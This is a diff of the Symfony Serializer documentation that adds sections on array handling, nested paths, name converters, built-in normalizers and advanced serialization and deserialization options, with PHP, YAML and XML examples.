+        AbstractNormalizer::ATTRIBUTES => ['name', 'company' => ['name']]
+    ]);
+    // $json contains {"name":"Dunglas","company":{"name":"Les-Tilleuls.coop"}}
+
+Only attributes that are :ref:`not ignored <serializer_ignoring-attributes>`
+are available. If serialization groups are set, only attributes allowed by
+those groups can be used.
+
+.. _serializer-handling-arrays:
+
+Handling Arrays
+---------------
+
+The serializer is capable of handling arrays of objects. Serializing arrays
+works just like serializing a single object::
+
+    use App\Model\Person;
+
+    // ...
+    $person1 = new Person('Jane Doe', 39, false);
+    $person2 = new Person('John Smith', 52, true);
+
+    $persons = [$person1, $person2];
+    $JsonContent = $serializer->serialize($persons, 'json');
+
+    // $jsonContent contains [{"name":"Jane Doe","age":39,"sportsman":false},{"name":"John Smith","age":52,"sportsman":true}]
+
+To deserialize a list of objects, you have to append ``[]`` to the type
+parameter::
+
+    // ...
+
+    $jsonData = ...; // the serialized JSON data from the previous example
+    $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json');
+
+For nested classes, you have to add a PHPDoc type to the property, constructor or setter::
+
+    // src/Model/UserGroup.php
+    namespace App\Model;
+
+    class UserGroup
+    {
+        /**
+         * @param Person[] $members
+         */
+        public function __construct(
+            private array $members,
+        ) {
+        }
+
+        // or if you're using a setter
+
+        /**
+         * @param Person[] $members
+         */
+        public function setMembers(array $members): void
+        {
+            $this->members = $members;
+        }
+
+        // ...
+    }
+
+.. tip::
+
+    The Serializer also supports array types used in static analysis, like
+    ``list<Person>`` and ``array<Person>``. Make sure the
+    ``phpstan/phpdoc-parser`` and ``phpdocumentor/reflection-docblock``
+    packages are installed (these are part of the ``symfony/serializer-pack``).
+
+.. _serializer-nested-structures:
+
+Deserializing Nested Structures
+-------------------------------
+
+Some APIs might provide verbose nested structures that you want to flatten
+in the PHP object. For instance, imagine a JSON response like this:
+
+.. code-block:: json
+
+    {
+        "id": "123",
+        "profile": {
+            "username": "jdoe",
+            "personal_information": {
+                "full_name": "Jane Doe"
+            }
+        }
+    }
+
+You may wish to serialize this information to a single PHP object like::
+
+    class Person
+    {
+        private int $id;
+        private string $username;
+        private string $fullName;
+    }
+
+Use the ``#[SerializedPath]`` to specify the path of the nested property
+using :doc:`valid PropertyAccess syntax </components/property_access>`:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedPath;
+
+        class Person
+        {
+            private int $id;
+
+            #[SerializedPath('[profile][username]')]
+            private string $username;
+
+            #[SerializedPath('[profile][personal_information][full_name]')]
+            private string $fullName;
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                username:
+                    serialized_path: '[profile][username]'
+                fullName:
+                    serialized_path: '[profile][personal_information][full_name]'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="username" serialized-path="[profile][username]"/>
+                <attribute name="fullName" serialized-path="[profile][personal_information][full_name]"/>
+            </class>
+        </serializer>
+
+.. warning::
+
+    The ``SerializedPath`` cannot be used in combination with a
+    ``SerializedName`` for the same property.
+
+The ``#[SerializedPath]`` attribute also applies to the serialization of a
+PHP object::
+
+    use App\Model\Person;
+    // ...
+
+    $person = new Person(123, 'jdoe', 'Jane Doe');
+    $jsonContent = $serializer->serialize($person, 'json');
+    // $jsonContent contains {"id":123,"profile":{"username":"jdoe","personal_information":{"full_name":"Jane Doe"}}}
+
+.. _serializer-name-conversion:
+
+Converting Property Names when Serializing and Deserializing
+------------------------------------------------------------
+
+Sometimes serialized attributes must be named differently than properties
+or getter/setter methods of PHP classes. This can be achieved using name
+converters.
+
+The serializer service uses the
+:class:`Symfony\\Component\\Serializer\\NameConverter\\MetadataAwareNameConverter`.
+With this name converter, you can change the name of an attribute using
+the ``#[SerializedName]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private string $name;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Entity\Person:
+            attributes:
+                name:
+                    serialized_name: customer_name
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Entity\Person">
+                <attribute name="name" serialized-name="customer_name"/>
+            </class>
+        </serializer>
+
+This custom mapping is used to convert property names when serializing and
+deserializing objects:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // ...
+
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like SerializedName.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $nameConverter = new MetadataAwareNameConverter($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, $nameConverter),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+.. seealso::
+
+    You can also create a custom name converter class. Read more about this
+    in :doc:`/serializer/custom_name_converter`.
+
+.. _using-camelized-method-names-for-underscored-attributes:
+
+CamelCase to snake_case
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In many formats, it's common to use underscores to separate words (also known
+as snake_case). However, in Symfony applications is common to use camelCase to
+name properties.
+
+Symfony provides a built-in name converter designed to transform between
+snake_case and CamelCased styles during serialization and deserialization
+processes. You can use it instead of the metadata aware name converter by
+setting the ``name_converter`` setting to
+``serializer.name_converter.camel_case_to_snake_case``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer
+                    name-converter="serializer.name_converter.camel_case_to_snake_case"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->nameConverter('serializer.name_converter.camel_case_to_snake_case')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
+.. _serializer-built-in-normalizers:
+
+Serializer Normalizers
+----------------------
+
+By default, the serializer service is configured with the following
+normalizers (in order of priority):
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+    Can be used to only denormalize a part of the input, read more about
+    this :ref:`later in this article <serializer-unwrapping-denormalizer>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+    Normalizes :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
+    errors according to the API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
+    Normalizes objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`.
+
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
+    This normalizes between :phpclass:`DateTimeInterface` objects (e.g.
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) and strings,
+    integers or floats.
+
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
+    integers or floats. By default, it converts them to strings using the
+    `RFC 3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and
+    ``DateTimeNormalizer::TIMEZONE_KEY`` to change the format.
+
+    To convert the objects to integers or floats, set the serializer
+    context option ``DateTimeNormalizer::CAST_KEY`` to ``int`` or
+    ``float``.
+
+    .. versionadded:: 7.1
+
+        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
+    into a list of errors according to the `RFC 7807`_ standard.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
+    This normalizer converts between :phpclass:`DateTimeZone` objects and strings that
+    represent the name of the timezone according to the `list of PHP timezones`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
+    This normalizes between :phpclass:`DateInterval` objects and strings.
+    By default, the ``P%yY%mM%dDT%hH%iM%sS`` format is used. Use the
+    ``DateIntervalNormalizer::FORMAT_KEY`` option to change this.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
+    This normalizer works with classes that implement
+    :class:`Symfony\\Component\\Form\\FormInterface`.
+
+    It will get errors from the form and normalize them according to the
+    API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+    This normalizer converts objects implementing :class:`Symfony\\Contracts\\Translation\\TranslatableInterface`
+    to a translated string using the :doc:`translator </translation>`.
+
+    You can define the locale to use to translate the object by setting the
+    ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` context option.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+    This normalizer converts between :phpclass:`BackedEnum` enums and
+    strings or integers.
+
+    By default, an exception is thrown when data is not a valid backed enumeration. If you
+    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
+    This normalizer converts between :phpclass:`SplFileInfo` objects and a
+    `data URI`_ string (``data:...``) such that files can be embedded into
+    serialized data.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
+    This normalizer works with classes that implement :phpclass:`JsonSerializable`.
+
+    It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and
+    then further normalize the result. This means that nested
+    :phpclass:`JsonSerializable` classes will also be normalized.
+
+    This normalizer is particularly helpful when you want to gradually migrate
+    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
+    Serializer by allowing you to mix which normalizers are used for which classes.
+
+    Unlike with :phpfunction:`json_encode` circular references can be handled.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
+    This denormalizer converts an array of arrays to an array of objects
+    (with the given type). See :ref:`Handling Arrays <serializer-handling-arrays>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
+    This is the most powerful default normalizer and used for any object
+    that could not be normalized by the other normalizers.
+
+    It leverages the :doc:`PropertyAccess Component </components/property_access>`
+    to read and write in the object. This allows it to access properties
+    directly or using getters, setters, hassers, issers, canners, adders and
+    removers. Names are generated by removing the ``get``, ``set``,
+    ``has``, ``is``, ``add`` or ``remove`` prefix from the method name and
+    transforming the first letter to lowercase (e.g. ``getFirstName()`` ->
+    ``firstName``).
+
+    During denormalization, it supports using the constructor as well as
+    the discovered methods.
+
+.. danger::
+
+    Always make sure the ``DateTimeNormalizer`` is registered when
+    serializing the ``DateTime`` or ``DateTimeImmutable`` classes to avoid
+    excessive memory usage and exposing internal details.
+
+Built-in Normalizers
+~~~~~~~~~~~~~~~~~~~~
+
+Besides the normalizers registered by default (see previous section), the
+serializer component also provides some extra normalizers.You can register
+these by defining a service and tag it with :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
+For instance, to use the ``CustomNormalizer`` you have to define a service
+like:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            # if you're using autoconfigure, the tag will be automatically applied
+            Symfony\Component\Serializer\Normalizer\CustomNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- if you're using autoconfigure, the tag will be automatically applied -->
+                <service id="Symfony\Component\Serializer\Normalizer\CustomNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(CustomNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    This normalizer calls a method on the PHP object when normalizing. The
+    PHP object must implement :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`
+    and/or :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizableInterface`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    This normalizer is an alternative to the default ``ObjectNormalizer``.
+    It reads the content of the class by calling the "getters" (public
+    methods starting with ``get``, ``has``, ``is`` or ``can``). It will
+    denormalize data by calling the constructor and the "setters" (public
+    methods starting with ``set``).
+
+    Objects are normalized to a map of property names and values (names are
+    generated by removing the ``get`` prefix from the method name and transforming
+    the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``).
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    This is yet another alternative to the ``ObjectNormalizer``. This
+    normalizer directly reads and writes public properties as well as
+    **private and protected** properties (from both the class and all of
+    its parent classes) by using `PHP reflection`_. It supports calling the
+    constructor during the denormalization process.
+
+    Objects are normalized to a map of property names to property values.
+
+    You can also limit the normalizer to only use properties with a specific
+    visibility (e.g. only public properties) using the
+    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option. You can set it
+    to any combination of the ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    ``PropertyNormalizer::NORMALIZE_PROTECTED`` and
+    ``PropertyNormalizer::NORMALIZE_PRIVATE`` constants::
+
+        use Symfony\Component\Serializer\Normalizer\PropertyNormalizer;
+        // ...
+
+        $json = $serializer->serialize($person, 'json', [
+            // only serialize public properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC,
+
+            // serialize public and protected properties
+            PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED,
+        ]);
+
+Debugging the Serializer
+------------------------
+
+Use the ``debug:serializer`` command to dump the serializer metadata of a
+given class:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:serializer 'App\Entity\Book'
+
+        App\Entity\Book
+        ---------------
+
+        +----------+------------------------------------------------------------+
+        | Property | Options                                                    |
+        +----------+------------------------------------------------------------+
+        | name     | [                                                          |
+        |          |   "groups" => [                                            |
+        |          |       "book:read",                                         |
+        |          |       "book:write",                                        |
+        |          |   ],                                                       |
+        |          |   "maxDepth" => 1,                                         |
         |          |   "serializedName" => "book_name",                         |
         |          |   "serializedPath" => null,                                |
         |          |   "ignore" => false,                                       |
@@ -539,42 +1506,637 @@ given class:
         |          |   ],                                                       |
         |          |   "maxDepth" => null,                                      |
         |          |   "serializedName" => null,                                |
-        |          |   "serializedPath" => [data][isbn],                        |
+        |          |   "serializedPath" => "[data][isbn]",                      |
         |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
         |          |   "denormalizationContexts" => []                          |
         |          | ]                                                          |
         +----------+------------------------------------------------------------+
 
-Going Further with the Serializer
----------------------------------
+Advanced Serialization
+----------------------
+
+Skipping ``null`` Values
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will preserve properties containing a ``null`` value.
+You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
+to ``true``::
+
+    class Person
+    {
+        public string $name = 'Jane Doe';
+        public ?string $gender = null;
+    }
+
+    $jsonContent = $serializer->serialize(new Person(), 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true,
+    ]);
+    // $jsonContent contains {"name":"Jane Doe"}
+
+Handling Uninitialized Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In PHP, typed properties have an ``uninitialized`` state which is different
+from the default ``null`` of untyped properties. When you try to access a typed
+property before giving it an explicit value, you get an error.
+
+To avoid the serializer throwing an error when serializing or normalizing
+an object with uninitialized properties, by default the ``ObjectNormalizer``
+catches these errors and ignores such properties.
+
+You can disable this behavior by setting the
+``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to
+``false``::
+
+    class Person {
+        public string $name = 'Jane Doe';
+        public string $phoneNumber; // uninitialized
+    }
+
+    $jsonContent = $normalizer->serialize(new Dummy(), 'json', [
+        AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false,
+    ]);
+    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException
+    // as the ObjectNormalizer cannot read uninitialized properties
+
+.. note::
+
+    Using :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
+    or :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
+    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context
+    option set to ``false`` will throw an ``\Error`` instance if the given
+    object has uninitialized properties as the normalizers cannot read them
+    (directly or via getter/isser methods).
+
+.. _component-serializer-handling-circular-references:
+
+Handling Circular References
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Circular references are common when dealing with associated objects::
+
+    class Organization
+    {
+        public function __construct(
+            private string $name,
+            private array $members = []
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function addMember(Member $member): void
+        {
+            $this->members[] = $member;
+        }
+
+        public function getMembers(): array
+        {
+            return $this->members;
+        }
+    }
+
+    class Member
+    {
+        private Organization $organization;
+
+        public function __construct(
+            private string $name
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function setOrganization(Organization $organization): void
+        {
+            $this->organization = $organization;
+        }
+
+        public function getOrganization(): Organization
+        {
+            return $this->organization;
+        }
+    }
+
+To avoid infinite loops, the normalizers throw a
+:class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
+when such a case is encountered::
+
+    $organization = new Organization('Les-Tilleuls.coop');
+    $member = new Member('Kévin');
+
+    $organization->addMember($member);
+    $member->setOrganization($organization);
+
+    $jsonContent = $serializer->serialize($organization, 'json');
+    // throws a CircularReferenceException
+
+The key ``circular_reference_limit`` in the context sets the number of
+times it will serialize the same object before considering it a circular
+reference. The default value is ``1``.
+
+Instead of throwing an exception, circular references can also be handled
+by custom callables. This is especially useful when serializing entities
+having unique identifiers::
+
+    use Symfony\Component\Serializer\Exception\CircularReferenceException;
+
+    $context = [
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
+            if (!$object instanceof Organization) {
+                throw new CircularReferenceException('A circular reference has been detected when serializing the object of class "'.get_debug_type($object).'".');
+            }
+
+            // serialize the nested Organization with only the name (and not the members)
+            return $object->getName();
+        },
+    ];
+
+    $jsonContent = $serializer->serialize($organization, 'json', $context);
+    // $jsonContent contains {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
+
+.. _serializer_handling-serialization-depth:
+
+Handling Serialization Depth
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also detect nested objects of the same class and limit
+the serialization depth. This is useful for tree structures, where the same
+object is nested multiple times.
+
+For instance, assume a data structure of a family tree::
+
+    // ...
+    class Person
+    {
+        // ...
+
+        public function __construct(
+            private string $name,
+            private ?self $mother
+        ) {
+        }
+
+        public function getName(): string
+        {
+            return $this->name;
+        }
+
+        public function getMother(): ?self
+        {
+            return $this->mother;
+        }
+
+        // ...
+    }
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+You can specify the maximum depth for a given property. For instance, you
+can set the max depth to ``1`` to always only serialize someone's mother
+(and not their grandmother, etc.):
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\MaxDepth;
+
+        class Person
+        {
+            #[MaxDepth(1)]
+            private ?self $mother;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                mother:
+                    max_depth: 1
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="mother" max-depth="1"/>
+            </class>
+        </serializer>
+
+To limit the serialization depth, you must set the
+``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key to ``true`` in the
+context (or the default context specified in ``framework.yaml``)::
+
+    // ...
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
+
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie"}}
+
+You can also configure a custom callable that is used when the maximum
+depth is reached. This can be used to for instance return the unique
+identifier of the next nested object, instead of omitting the property::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
+    // ...
+
+    $greatGrandmother = new Person('Elizabeth', null);
+    $grandmother = new Person('Jane', $greatGrandmother);
+    $mother = new Person('Sophie', $grandmother);
+    $child = new Person('Joe', $mother);
 
-`API Platform`_ provides an API system supporting the following formats:
+    // all callback parameters are optional (you can omit the ones you don't use)
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): ?string {
+        // return only the name of the next person in the tree
+        return $innerObject instanceof Person ? $innerObject->getName() : null;
+    };
 
-* `JSON-LD`_ along with the `Hydra Core Vocabulary`_
-* `OpenAPI`_ v2 (formerly Swagger) and v3
-* `GraphQL`_
-* `JSON:API`_
-* `HAL`_
-* JSON
-* XML
-* YAML
-* CSV
+    $jsonContent = $serializer->serialize($child, null, [
+        AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
+        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
+    ]);
+    // $jsonContent contains {"name":"Joe","mother":{"name":"Sophie","mother":"Jane"}}
+
+Using Callbacks to Serialize Properties with Object Instances
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When serializing, you can set a callback to format a specific object
+property. This can be used instead of
+:ref:`defining the context for a group <serializer-context-group>`::
+
+    $person = new Person('cordoval', 34);
+    $person->setCreatedAt(new \DateTime('now'));
+
+    $context = [
+        AbstractNormalizer::CALLBACKS => [
+            // all callback parameters are optional (you can omit the ones you don't use)
+            'createdAt' => function (object $attributeValue, object $object, string $attributeName, ?string $format = null, array $context = []) {
+                return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : '';
+            },
+        ],
+    ];
+    $jsonContent = $serializer->serialize($person, 'json', $context);
+    // $jsonContent contains {"name":"cordoval","age":34,"createdAt":"2014-03-22T09:43:12-0500"}
+
+Advanced Deserialization
+------------------------
+
+Require all Properties
+~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will add ``null`` to nullable properties when
+the parameters for those are not provided. You can change this behavior by
+setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
+to ``true``::
+
+    class Person
+    {
+        public function __construct(
+            public string $firstName,
+            public ?string $lastName,
+        ) {
+        }
+    }
+
+    // ...
+    $data = ['firstName' => 'John'];
+    $person = $serializer->deserialize($data, Person::class, 'json', [
+        AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true,
+    ]);
+    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
+
+Collecting Type Errors While Denormalizing
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
+
+Use the ``COLLECT_DENORMALIZATION_ERRORS`` option to collect all exceptions
+at once, and to get the object partially denormalized::
+
+    try {
+        $person = $serializer->deserialize($jsonString, Person::class, 'json', [
+            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
+        ]);
+    } catch (PartialDenormalizationException $e) {
+        $violations = new ConstraintViolationList();
+
+        /** @var NotNormalizableValueException $exception */
+        foreach ($e->getErrors() as $exception) {
+            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
+            $parameters = [];
+            if ($exception->canUseMessageForUser()) {
+                $parameters['hint'] = $exception->getMessage();
+            }
+            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
+        }
+
+        // ... return violation list to the user
+    }
+
+.. _serializer-populate-existing-object:
+
+Deserializing in an Existing Object
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The serializer can also be used to update an existing object. You can do
+this by configuring the ``object_to_populate`` serializer context option::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 59);
+
+    $serializer->deserialize($jsonData, Person::class, 'json', [
+        AbstractNormalizer::OBJECT_TO_POPULATE => $person,
+    ]);
+    // instead of returning a new object, $person is updated instead
+
+.. note::
+
+    The ``AbstractNormalizer::OBJECT_TO_POPULATE`` option is only used for
+    the top level object. If that object is the root of a tree structure,
+    all child elements that exist in the normalized data will be re-created
+    with new instances.
+
+    When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` context
+    option is set to ``true``, existing children of the root ``OBJECT_TO_POPULATE``
+    are updated from the normalized data, instead of the denormalizer
+    re-creating them. This only works for single child objects, not for
+    arrays of objects. Those will still be replaced when present in the
+    normalized data.
+
+.. _serializer_interfaces-and-abstract-classes:
+
+Deserializing Interfaces and Abstract Classes
